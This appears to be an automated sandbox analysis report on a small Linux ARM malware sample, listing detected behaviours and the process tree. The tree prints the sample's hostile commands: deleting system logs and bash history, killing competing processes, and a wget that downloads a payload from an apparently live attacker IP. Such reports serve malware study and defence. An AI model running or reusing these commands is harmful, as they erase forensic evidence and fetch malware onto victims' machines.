Analysis

  • max time kernel
    134s
  • max time network
    143s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/08/2026, 12:44

General

  • Target
    9a7be758e068184e6c0e023052eb7e0d260b568b61b40480b8072b2672e42cad
  • Size 6KB
  • Sample260801-pywwhsbk2s
  • SHA256 9a7be758e068184e6c0e023052eb7e0d260b568b61b40480b8072b2672e42cad
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes system logs 1 TTPs 2 IoCs

    Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

  • Deletes log files 1 TTPs 3 IoCs

    Deletes log files on the system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/9a7be758e068184e6c0e023052eb7e0d260b568b61b40480b8072b2672e42cad
    /tmp/9a7be758e068184e6c0e023052eb7e0d260b568b61b40480b8072b2672e42cad
    1⤵
      PID:642
      • /usr/bin/head
        head -c 6
        2⤵
          PID:646
        • /usr/bin/head
          head -c 32 /dev/urandom
          2⤵
            PID:644
          • /usr/bin/tr
            tr -dc a-z
            2⤵
              PID:645
            • /bin/uname
              uname -m
              2⤵
                PID:649
              • /usr/bin/id
                id -u
                2⤵
                  PID:652
                • /bin/rm
                  rm -f /var/log/messages /var/log/syslog /var/log/auth.log /var/log/secure /var/log/wtmp
                  2⤵
                  • Deletes system logs
                  • Deletes log files
                  PID:655
                • /bin/rm
                  rm -f "~/.bash_history"
                  2⤵
                    PID:658
                  • /usr/bin/pkill
                    pkill -9 -f "kworker-helper|dhcpcd-monitor|ntpd-sync|udevd-helper|syslogd-rotate|crond-helper|netlink-monitor|mdev-trigger|avahi-helper|dbus-monitor|logrotate-svc|tmpfiles-clean|resolved-helper|busybox-svc|dropbear-agent|iptables-helper|sysd"
                    2⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:661
                  • /usr/bin/killall
                    killall -9 kworker-helper dhcpcd-monitor ntpd-sync udevd-helper syslogd-rotate crond-helper netlink-monitor mdev-trigger avahi-helper dbus-monitor logrotate-svc tmpfiles-clean resolved-helper busybox-svc dropbear-agent iptables-helper sysd
                    2⤵
                    • Reads runtime system information
                    PID:672
                  • /usr/bin/wget
                    wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O ow "http://168.220.248.106:9087/payload/a6i3khk75wgf/zkrbtwag7o?t=eaab5043428d610cbf35dc12e8e43ddf9bafb49a040b2dacbb38dae32a18143d"
                    2⤵
                    • Writes file to tmp directory
                    PID:675

                Network

                      MITRE ATT&CK Enterprise v16

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